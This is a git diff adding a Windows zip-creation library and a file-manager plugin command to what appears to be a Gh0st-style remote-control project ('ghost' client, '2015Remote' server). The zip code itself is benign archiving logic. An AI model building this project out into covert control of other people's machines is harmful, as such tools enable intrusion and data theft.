+ zfi.tim = timestamp;
+ // Even though we write the header now, it will have to be rewritten, since we don't know compressed size or crc.
+ zfi.crc = 0; // to be updated later
+ zfi.flg = 8; // 8 means 'there is an extra header'. Assume for the moment that we need it.
+ if (password != 0 && !isdir) zfi.flg = 9; // and 1 means 'password-encrypted'
+ zfi.lflg = zfi.flg; // to be updated later
+ zfi.how = (ush)method; // to be updated later
+ zfi.siz = (ulg)(method == STORE && isize >= 0 ? isize + passex : 0); // to be updated later
+ zfi.len = (ulg)(isize); // to be updated later
+ zfi.dsk = 0;
+ zfi.atx = attr;
+ zfi.off = writ + ooffset; // offset within file of the start of this local record
+ // stuff the 'times' structure into zfi.extra
+
+ // nb. apparently there's a problem with PocketPC CE(zip)->CE(unzip) fails. And removing the following block fixes it up.
+ char xloc[EB_L_UT_SIZE]; zfi.extra = xloc; zfi.ext = EB_L_UT_SIZE;
+ char xcen[EB_C_UT_SIZE]; zfi.cextra = xcen; zfi.cext = EB_C_UT_SIZE;
+ xloc[0] = 'U';
+ xloc[1] = 'T';
+ xloc[2] = EB_UT_LEN(3); // length of data part of e.f.
+ xloc[3] = 0;
+ xloc[4] = EB_UT_FL_MTIME | EB_UT_FL_ATIME | EB_UT_FL_CTIME;
+ xloc[5] = (char)(times.mtime);
+ xloc[6] = (char)(times.mtime >> 8);
+ xloc[7] = (char)(times.mtime >> 16);
+ xloc[8] = (char)(times.mtime >> 24);
+ xloc[9] = (char)(times.atime);
+ xloc[10] = (char)(times.atime >> 8);
+ xloc[11] = (char)(times.atime >> 16);
+ xloc[12] = (char)(times.atime >> 24);
+ xloc[13] = (char)(times.ctime);
+ xloc[14] = (char)(times.ctime >> 8);
+ xloc[15] = (char)(times.ctime >> 16);
+ xloc[16] = (char)(times.ctime >> 24);
+ memcpy(zfi.cextra, zfi.extra, EB_C_UT_SIZE);
+ zfi.cextra[EB_LEN] = EB_UT_LEN(1);
+
+
+ // (1) Start by writing the local header:
+ int r = putlocal(&zfi, swrite, this);
+ if (r != ZE_OK) { iclose(); return ZR_WRITE; }
+ writ += 4 + LOCHEAD + (unsigned int)zfi.nam + (unsigned int)zfi.ext;
+ if (oerr != ZR_OK) { iclose(); return oerr; }
+
+ // (1.5) if necessary, write the encryption header
+ keys[0] = 305419896L;
+ keys[1] = 591751049L;
+ keys[2] = 878082192L;
+ for (const char* cp = password; cp != 0 && *cp != 0; cp++) update_keys(keys, *cp);
+ // generate some random bytes
+ if (!has_seeded) srand(GetTickCount() ^ (unsigned long)GetDesktopWindow());
+ char encbuf[12]; for (int i = 0; i < 12; i++) encbuf[i] = (char)((rand() >> 7) & 0xff);
+ encbuf[11] = (char)((zfi.tim >> 8) & 0xff);
+ for (int ei = 0; ei < 12; ei++) encbuf[ei] = zencode(keys, encbuf[ei]);
+ if (password != 0 && !isdir) { swrite(this, encbuf, 12); writ += 12; }
+
+ //(2) Write deflated/stored file to zip file
+ ZRESULT writeres = ZR_OK;
+ encwriting = (password != 0 && !isdir); // an object member variable to say whether we write to disk encrypted
+ if (!isdir && method == DEFLATE) writeres = ideflate(&zfi);
+ else if (!isdir && method == STORE) writeres = istore();
+ else if (isdir) csize = 0;
+ encwriting = false;
+ iclose();
+ writ += csize;
+ if (oerr != ZR_OK) return oerr;
+ if (writeres != ZR_OK) return ZR_WRITE;
+
+ // (3) Either rewrite the local header with correct information...
+ bool first_header_has_size_right = (zfi.siz == csize + passex);
+ zfi.crc = crc;
+ zfi.siz = csize + passex;
+ zfi.len = isize;
+ if (ocanseek && (password == 0 || isdir))
+ {
+ zfi.how = (ush)method;
+ if ((zfi.flg & 1) == 0) zfi.flg &= ~8; // clear the extended local header flag
+ zfi.lflg = zfi.flg;
+ // rewrite the local header:
+ if (!oseek(zfi.off - ooffset)) return ZR_SEEK;
+ if ((r = putlocal(&zfi, swrite, this)) != ZE_OK) return ZR_WRITE;
+ if (!oseek(writ)) return ZR_SEEK;
+ }
+ else
+ { // (4) ... or put an updated header at the end
+ if (zfi.how != (ush)method) return ZR_NOCHANGE;
+ if (method == STORE && !first_header_has_size_right) return ZR_NOCHANGE;
+ if ((r = putextended(&zfi, swrite, this)) != ZE_OK) return ZR_WRITE;
+ writ += 16L;
+ zfi.flg = zfi.lflg; // if flg modified by inflate, for the central index
+ }
+ if (oerr != ZR_OK) return oerr;
+
+ // Keep a copy of the zipfileinfo, for our end-of-zip directory
+ char* cextra = new char[zfi.cext]; memcpy(cextra, zfi.cextra, zfi.cext); zfi.cextra = cextra;
+ TZipFileInfo* pzfi = new TZipFileInfo; memcpy(pzfi, &zfi, sizeof(zfi));
+ if (zfis == NULL) zfis = pzfi;
+ else { TZipFileInfo* z = zfis; while (z->nxt != NULL) z = z->nxt; z->nxt = pzfi; }
+ return ZR_OK;
+}
+
+ZRESULT TZip::AddCentral()
+{ // write central directory
+ int numentries = 0;
+ ulg pos_at_start_of_central = writ;
+ //ulg tot_unc_size=0, tot_compressed_size=0;
+ bool okay = true;
+ for (TZipFileInfo* zfi = zfis; zfi != NULL; )
+ {
+ if (okay)
+ {
+ int res = putcentral(zfi, swrite, this);
+ if (res != ZE_OK) okay = false;
+ }
+ writ += 4 + CENHEAD + (unsigned int)zfi->nam + (unsigned int)zfi->cext + (unsigned int)zfi->com;
+ //tot_unc_size += zfi->len;
+ //tot_compressed_size += zfi->siz;
+ numentries++;
+ //
+ TZipFileInfo* zfinext = zfi->nxt;
+ if (zfi->cextra != 0) delete[] zfi->cextra;
+ delete zfi;
+ zfi = zfinext;
+ }
+ ulg center_size = writ - pos_at_start_of_central;
+ if (okay)
+ {
+ int res = putend(numentries, center_size, pos_at_start_of_central + ooffset, 0, NULL, swrite, this);
+ if (res != ZE_OK) okay = false;
+ writ += 4 + ENDHEAD + 0;
+ }
+ if (!okay) return ZR_WRITE;
+ return ZR_OK;
+}
+
+
+
+
+
+ZRESULT lasterrorZ = ZR_OK;
+
+unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len)
+{
+ if (code == ZR_RECENT) code = lasterrorZ;
+ const char* msg = "unknown zip result code";
+ switch (code)
+ {
+ case ZR_OK: msg = "Success"; break;
+ case ZR_NODUPH: msg = "Culdn't duplicate handle"; break;
+ case ZR_NOFILE: msg = "Couldn't create/open file"; break;
+ case ZR_NOALLOC: msg = "Failed to allocate memory"; break;
+ case ZR_WRITE: msg = "Error writing to file"; break;
+ case ZR_NOTFOUND: msg = "File not found in the zipfile"; break;
+ case ZR_MORE: msg = "Still more data to unzip"; break;
+ case ZR_CORRUPT: msg = "Zipfile is corrupt or not a zipfile"; break;
+ case ZR_READ: msg = "Error reading file"; break;
+ case ZR_ARGS: msg = "Caller: faulty arguments"; break;
+ case ZR_PARTIALUNZ: msg = "Caller: the file had already been partially unzipped"; break;
+ case ZR_NOTMMAP: msg = "Caller: can only get memory of a memory zipfile"; break;
+ case ZR_MEMSIZE: msg = "Caller: not enough space allocated for memory zipfile"; break;
+ case ZR_FAILED: msg = "Caller: there was a previous error"; break;
+ case ZR_ENDED: msg = "Caller: additions to the zip have already been ended"; break;
+ case ZR_ZMODE: msg = "Caller: mixing creation and opening of zip"; break;
+ case ZR_NOTINITED: msg = "Zip-bug: internal initialisation not completed"; break;
+ case ZR_SEEK: msg = "Zip-bug: trying to seek the unseekable"; break;
+ case ZR_MISSIZE: msg = "Zip-bug: the anticipated size turned out wrong"; break;
+ case ZR_NOCHANGE: msg = "Zip-bug: tried to change mind, but not allowed"; break;
+ case ZR_FLATE: msg = "Zip-bug: an internal error during flation"; break;
+ }
+ unsigned int mlen = (unsigned int)strlen(msg);
+ if (buf == 0 || len == 0) return mlen;
+ unsigned int n = mlen; if (n + 1 > len) n = len - 1;
+ strncpy(buf, msg, n); buf[n] = 0;
+ return mlen;
+}
+
+
+
+typedef struct
+{
+ DWORD flag;
+ TZip* zip;
+} TZipHandleData;
+
+
+HZIP CreateZipInternal(void* z, unsigned int len, DWORD flags, const char* password)
+{
+ TZip* zip = new TZip(password);
+ lasterrorZ = zip->Create(z, len, flags);
+ if (lasterrorZ != ZR_OK) { delete zip; return 0; }
+ TZipHandleData* han = new TZipHandleData;
+ han->flag = 2; han->zip = zip; return (HZIP)han;
+}
+HZIP CreateZipHandle(HANDLE h, const char* password) { return CreateZipInternal(h, 0, ZIP_HANDLE, password); }
+HZIP CreateZip(const TCHAR* fn, const char* password) { return CreateZipInternal((void*)fn, 0, ZIP_FILENAME, password); }
+HZIP CreateZip(void* z, unsigned int len, const char* password) { return CreateZipInternal(z, len, ZIP_MEMORY, password); }
+
+
+ZRESULT ZipAddInternal(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len, DWORD flags)
+{
+ if (hz == 0) { lasterrorZ = ZR_ARGS; return ZR_ARGS; }
+ TZipHandleData* han = (TZipHandleData*)hz;
+ if (han->flag != 2) { lasterrorZ = ZR_ZMODE; return ZR_ZMODE; }
+ TZip* zip = han->zip;
+ lasterrorZ = zip->Add(dstzn, src, len, flags);
+ return lasterrorZ;
+}
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn) { return ZipAddInternal(hz, dstzn, (void*)fn, 0, ZIP_FILENAME); }
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len) { return ZipAddInternal(hz, dstzn, src, len, ZIP_MEMORY); }
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h) { return ZipAddInternal(hz, dstzn, h, 0, ZIP_HANDLE); }
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len) { return ZipAddInternal(hz, dstzn, h, len, ZIP_HANDLE); }
+ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn) { return ZipAddInternal(hz, dstzn, 0, 0, ZIP_FOLDER); }
+
+
+
+ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len)
+{
+ if (hz == 0) { if (buf != 0) *buf = 0; if (len != 0) *len = 0; lasterrorZ = ZR_ARGS; return ZR_ARGS; }
+ TZipHandleData* han = (TZipHandleData*)hz;
+ if (han->flag != 2) { lasterrorZ = ZR_ZMODE; return ZR_ZMODE; }
+ TZip* zip = han->zip;
+ lasterrorZ = zip->GetMemory(buf, len);
+ return lasterrorZ;
+}
+
+ZRESULT CloseZipZ(HZIP hz)
+{
+ if (hz == 0) { lasterrorZ = ZR_ARGS; return ZR_ARGS; }
+ TZipHandleData* han = (TZipHandleData*)hz;
+ if (han->flag != 2) { lasterrorZ = ZR_ZMODE; return ZR_ZMODE; }
+ TZip* zip = han->zip;
+ lasterrorZ = zip->Close();
+ delete zip;
+ delete han;
+ return lasterrorZ;
+}
+
+bool IsZipHandleZ(HZIP hz)
+{
+ if (hz == 0) return false;
+ TZipHandleData* han = (TZipHandleData*)hz;
+ return (han->flag == 2);
+}
diff --git a/client/file/zip.h b/client/file/zip.h
new file mode 100644
index 0000000..d49a171
--- /dev/null
+++ b/client/file/zip.h
@@ -0,0 +1,207 @@
+//
+//http://www.codeproject.com/KB/files/zip_utils.aspx
+//
+
+#ifndef _zip_H
+#define _zip_H
+
+
+// ZIP functions -- for creating zip files
+// This file is a repackaged form of the Info-Zip source code available
+// at www.info-zip.org. The original copyright notice may be found in
+// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
+// extend its use in Windows/C++. Also to add encryption and unicode.
+
+
+#ifndef _unzip_H
+DECLARE_HANDLE(HZIP);
+#endif
+// An HZIP identifies a zip file that is being created
+
+typedef DWORD ZRESULT;
+// return codes from any of the zip functions. Listed later.
+
+
+
+HZIP CreateZip(const TCHAR* fn, const char* password);
+HZIP CreateZip(void* buf, unsigned int len, const char* password);
+HZIP CreateZipHandle(HANDLE h, const char* password);
+// CreateZip - call this to start the creation of a zip file.
+// As the zip is being created, it will be stored somewhere:
+// to a pipe: CreateZipHandle(hpipe_write);
+// in a file (by handle): CreateZipHandle(hfile);
+// in a file (by name): CreateZip("c:\\test.zip");
+// in memory: CreateZip(buf, len);
+// or in pagefile memory: CreateZip(0, len);
+// The final case stores it in memory backed by the system paging file,
+// where the zip may not exceed len bytes. This is a bit friendlier than
+// allocating memory with new[]: it won't lead to fragmentation, and the
+// memory won't be touched unless needed. That means you can give very
+// large estimates of the maximum-size without too much worry.
+// As for the password, it lets you encrypt every file in the archive.
+// (This api doesn't support per-file encryption.)
+// Note: because pipes don't allow random access, the structure of a zipfile
+// created into a pipe is slightly different from that created into a file
+// or memory. In particular, the compressed-size of the item cannot be
+// stored in the zipfile until after the item itself. (Also, for an item added
+// itself via a pipe, the uncompressed-size might not either be known until
+// after.) This is not normally a problem. But if you try to unzip via a pipe
+// as well, then the unzipper will not know these things about the item until
+// after it has been unzipped. Therefore: for unzippers which don't just write
+// each item to disk or to a pipe, but instead pre-allocate memory space into
+// which to unzip them, then either you have to create the zip not to a pipe,
+// or you have to add items not from a pipe, or at least when adding items
+// from a pipe you have to specify the length.
+// Note: for windows-ce, you cannot close the handle until after CloseZip.
+// but for real windows, the zip makes its own copy of your handle, so you
+// can close yours anytime.
+
+
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
+ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
+// ZipAdd - call this for each file to be added to the zip.
+// dstzn is the name that the file will be stored as in the zip file.
+// The file to be added to the zip can come
+// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
+// from a file: ZipAddHandle(hz,"file.dat", hfile);
+// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
+// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
+// (folder): ZipAddFolder(hz,"subdir");
+// Note: if adding an item from a pipe, and if also creating the zip file itself
+// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
+// function. This will let the zipfile store the item's size ahead of the
+// compressed item itself, which in turn makes it easier when unzipping the
+// zipfile from a pipe.
+
+ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
+// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
+// then this function will return information about that memory block.
+// buf will receive a pointer to its start, and len its length.
+// Note: you can't add any more after calling this.
+
+ZRESULT CloseZip(HZIP hz);
+// CloseZip - the zip handle must be closed with this function.
+
+unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
+// FormatZipMessage - given an error code, formats it as a string.
+// It returns the length of the error message. If buf/len points
+// to a real buffer, then it also writes as much as possible into there.
+
+
+
+// These are the result codes:
+#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
+#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
+// The following come from general system stuff (e.g. files not openable)
+#define ZR_GENMASK 0x0000FF00
+#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
+#define ZR_NOFILE 0x00000200 // couldn't create/open the file
+#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
+#define ZR_WRITE 0x00000400 // a general error writing to the file
+#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
+#define ZR_MORE 0x00000600 // there's still more data to be unzipped
+#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
+#define ZR_READ 0x00000800 // a general error reading the file
+// The following come from mistakes on the part of the caller
+#define ZR_CALLERMASK 0x00FF0000
+#define ZR_ARGS 0x00010000 // general mistake with the arguments
+#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
+#define ZR_MEMSIZE 0x00030000 // the memory size is too small
+#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
+#define ZR_ENDED 0x00050000 // the zip creation has already been closed
+#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
+#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
+#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
+// The following come from bugs within the zip library itself
+#define ZR_BUGMASK 0xFF000000
+#define ZR_NOTINITED 0x01000000 // initialisation didn't work
+#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
+#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
+#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
+
+
+
+
+
+
+// e.g.
+//
+// (1) Traditional use, creating a zipfile from existing files
+// HZIP hz = CreateZip("c:\\simple1.zip",0);
+// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
+// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
+// CloseZip(hz);
+//
+// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
+// HZIP hz = CreateZip(0,100000, 0);
+// // adding a conventional file...
+// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
+// // adding something from memory...
+// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
+// ZipAdd(hz,"file.dat", buf,1000);
+// // adding something from a pipe...
+// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
+// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
+// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
+// WaitForSingleObject(hthread,INFINITE);
+// CloseHandle(hthread); CloseHandle(hread);
+// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
+// { HANDLE hwrite = (HANDLE)dat;
+// char buf[1000]={17};
+// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
+// CloseHandle(hwrite);
+// return 0;
+// }
+// // and now that the zip is created, let's do something with it:
+// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
+// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
+// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
+// CloseHandle(hfz);
+// CloseZip(hz);
+//
+// (3) Handle use, for file handles and pipes
+// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
+// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
+// HZIP hz = CreateZipHandle(hzwrite,0);
+// // ... add to it
+// CloseZip(hz);
+// CloseHandle(hzwrite);
+// WaitForSingleObject(hthread,INFINITE);
+// CloseHandle(hthread);
+// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
+// { HANDLE hread = (HANDLE)dat;
+// char buf[1000];
+// while (true)
+// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
+// // ... and do something with this zip data we're receiving
+// if (red==0) break;
+// }
+// CloseHandle(hread);
+// return 0;
+// }
+
+
+
+// Now we indulge in a little skullduggery so that the code works whether
+// the user has included just zip or both zip and unzip.
+// Idea: if header files for both zip and unzip are present, then presumably
+// the cpp files for zip and unzip are both present, so we will call
+// one or the other of them based on a dynamic choice. If the header file
+// for only one is present, then we will bind to that particular one.
+ZRESULT CloseZipZ(HZIP hz);
+unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
+bool IsZipHandleZ(HZIP hz);
+#ifdef _unzip_H
+#undef CloseZip
+#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
+#else
+#define CloseZip CloseZipZ
+#define FormatZipMessage FormatZipMessageZ
+#endif
+
+
+
+#endif
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 0019f2e..4c0eba9 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -194,6 +194,11 @@
+
+ $(IntDir)FileManager_plugin.obj
+
+
+
@@ -250,6 +255,9 @@
+
+
+
diff --git a/common/commands.h b/common/commands.h
index 1e9efd0..f8a57cf 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -322,6 +322,7 @@ enum {
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
+ COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 1443726b69820796c284c7ec33ec8712c03af2c3..68aa70bf85e045f31aafb8ff579544459dc781c3 100644
GIT binary patch
delta 96
zcmV-m0H6QHsteq#3j+WCfV2Vn$OxWWjGCWP{eYLyh5;Iv(7ORX2#00%PN91SbeBNJ
z0Xh>!09XJ}07U>&07(E%07U>!092EoL>rg3Q2`K_AUpylm;T!U4u|^40k`_d0!$3W
CxFxgz
delta 23
fcmcb!hWpqm?nb7qOpL!yv